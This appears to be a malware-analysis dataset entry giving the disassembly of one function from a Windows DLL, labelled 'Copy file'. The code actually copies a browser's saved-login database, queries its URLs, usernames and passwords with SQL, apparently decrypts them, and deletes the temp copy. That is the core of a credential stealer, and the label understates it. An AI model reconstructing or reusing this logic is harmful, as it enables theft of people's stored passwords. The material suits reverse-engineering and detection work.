Function at 0x180006470
Capabilities:
Copy file

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x3f0], rbx
mov rax, qword [0x180237160]
xor rax, rsp
mov qword [rbp + 0x290], rax
mov qword [rsp + 0x70], rdx
mov rdi, rcx
cmp byte [rcx + 0x54], 0
jne 0x1800064d5
mov eax, dword [rcx + 0x58]
mov r15d, 1
cmp eax, 0
cmove eax, r15d
mov dword [rcx + 0x58], eax
xor eax, eax
jmp 0x1800069ab
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
call fcn.180006ba0
movzx r13d, al
mov byte [rsp + 0x40], al
lea rcx, str.Login_Data.tmp
call fcn.180184ce0
cmp qword [rdi + 0x18], 0x10
jb 0x18000650b
mov rcx, qword [rdi]
jmp 0x18000650e
mov rcx, rdi
mov r15d, 1
mov r8d, r15d
lea rdx, str.Login_Data.tmp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180006534
mov dword [rdi + 0x58], 3
jmp 0x1800069ab
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x60]
lea rcx, str.Login_Data.tmp
call fcn.1800a21a0
test eax, eax
je 0x18000655e
mov dword [rdi + 0x58], 4
xor eax, eax
jmp 0x1800069ab
xor esi, esi
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov r9d, r15d
or r8d, 0xffffffff
lea rdx, str.SELECT_origin_url__username_value__password_value_date_created_FROM_logins
mov rcx, qword [rsp + 0x60]
call fcn.180078020
test eax, eax
je 0x18000659e
mov dword [rdi + 0x58], 5
xor eax, eax
jmp 0x1800069ab
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.18003bd00
cmp eax, 0x65
je 0x18000697d
lea rax, [rdi + 0x88]
mov qword [rsp + 0x68], rax
mov r12d, 2
nop word [rax + rax]
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x60], rsi
mov byte [rbp - 0x70], 0
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x48], 0
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rsi
mov byte [rbp - 0x20], 0
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x18], rsi
mov byte [rbp + 8], 0
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x40], rsi
mov byte [rbp + 0x30], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180004100
xor edx, edx
mov rcx, rbx
call fcn.18003c660
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x48]
call fcn.180004540
mov edx, r15d
mov rcx, rbx
call fcn.18003c660
mov rcx, rax
call fcn.1800a7eb0
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x20]
call fcn.180004540
mov edx, 3
mov rcx, rbx
call fcn.18003c660
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.180184cb0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1800a7fd0
mov rdi, rax
lea rax, [rbp + 0x30]
cmp rax, rdi
je 0x18000671d
cmp qword [rbp + 0x48], 0x10
jb 0x1800066cf
mov rcx, qword [rbp + 0x30]
call fcn.180183e0c
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x40], rsi
mov byte [rbp + 0x30], 0
cmp qword [rdi + 0x18], 0x10
jae 0x1800066fb
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.180183a80
jmp 0x180006705
mov rax, qword [rdi]
mov qword [rbp + 0x30], rax
mov qword [rdi], rsi
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x40], rax
mov rax, qword [rdi + 0x18]
mov qword [rbp + 0x48], rax
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
cmp qword [rbp + 0x78], 0x10
jb 0x18000672d
mov rcx, qword [rbp + 0x60]
call fcn.180183e0c
mov edx, r12d
mov rcx, rbx
call fcn.18003c380
mov r14d, eax
test rbx, rbx
je 0x180006798
cmp qword [rbx + 0x28], 0
je 0x18000676d
cmp r12w, word [rbx + 0x88]
jae 0x18000676d
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x180006763
call qword [0x1802387c8]
mov rcx, qword [rbx + 0x28]
add rcx, 0x70
jmp 0x18000679f
mov rax, qword [rbx]
test rax, rax
je 0x180006798
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x180006784
call qword [0x1802387c8]
mov rcx, qword [rbx]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.180015390
lea rcx, [0x18020dc18]
call fcn.18003af60
mov r12, rax
test rbx, rbx
je 0x1800067e7
mov edx, dword [rbx + 0x84]
mov rcx, qword [rbx]
cmp byte [rcx + 0x55], 0
jne 0x1800067ca
cmp edx, 0xc0a
je 0x1800067ca
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x1800067cf
call fcn.180012990
mov dword [rbx + 0x84], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x1800067e7
call qword [0x1802387d8]
mov edx, 2
mov rcx, rbx
call fcn.18003c380
mov edi, eax
mov edx, 2
mov rcx, rbx
call fcn.18003c660
mov rcx, rax
lea r8, [rbp + 8]
lea edx, [rdi + 1]
call fcn.1800a7cc0
test al, al
jne 0x180006946
test r13b, r13b
je 0x180006946
lea r13, [r12 + 3]
add r14d, 0xfffffff1
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x80], xmm0
call fcn.1800ab040
mov rdi, rax
test rax, rax
jne 0x18000684a
xor ecx, ecx
jmp 0x1800068fc
call fcn.1800ae9c0
mov rdx, rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call fcn.1800ac090
test eax, eax
jne 0x180006874
xor ecx, ecx
jmp 0x1800068fc
xor r9d, r9d
lea edx, [r9 + 9]
lea r8d, [r9 + 0xc]
mov rcx, rdi
call fcn.1800aba70
test eax, eax
jne 0x18000688f
xor ecx, ecx
jmp 0x1800068fc
mov qword [rsp + 0x20], r13
mov r9, qword [rbp - 0x78]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1800ac090
test eax, eax
jne 0x1800068ad
xor ecx, ecx
jmp 0x1800068fc
mov dword [rsp + 0x20], r14d
lea r9, [r12 + 0xf]
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x90]
mov rcx, rdi
call fcn.1800ab590
test eax, eax
jne 0x1800068d3
xor ecx, ecx
jmp 0x1800068fc
movsxd rsi, dword [rsp + 0x48]
lea rdx, [rbp + rsi + 0x90]
lea r8, [rsp + 0x48]
mov rcx, rdi
call fcn.1800ab870
add esi, dword [rsp + 0x48]
mov rcx, rdi
call fcn.1800ab070
mov ecx, r15d
add esi, 0xfffffff0
mov byte [rbp + rsi + 0x90], 0
test ecx, ecx
je 0x18000692a
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x90]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x90]
jmp 0x180006937
mov r8d, 6
lea rdx, str.failed
lea rcx, [rbp + 8]
call fcn.180004540
movzx r13d, byte [rsp + 0x40]
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x70]
call fcn.180003eb0
nop
lea rcx, [rbp - 0x70]
call fcn.180002460
mov rcx, rbx
call fcn.18003bd00
cmp eax, 0x65
mov rax, qword [rsp + 0x68]
mov esi, 0
lea r12d, [rsi + 2]
jne 0x1800065d0
mov rcx, rbx
call fcn.18003acb0
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.18009f940
lea rcx, str.Login_Data.tmp
call fcn.180184ce0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r15d
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.180183a50
mov rbx, qword [rsp + 0x3f0]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret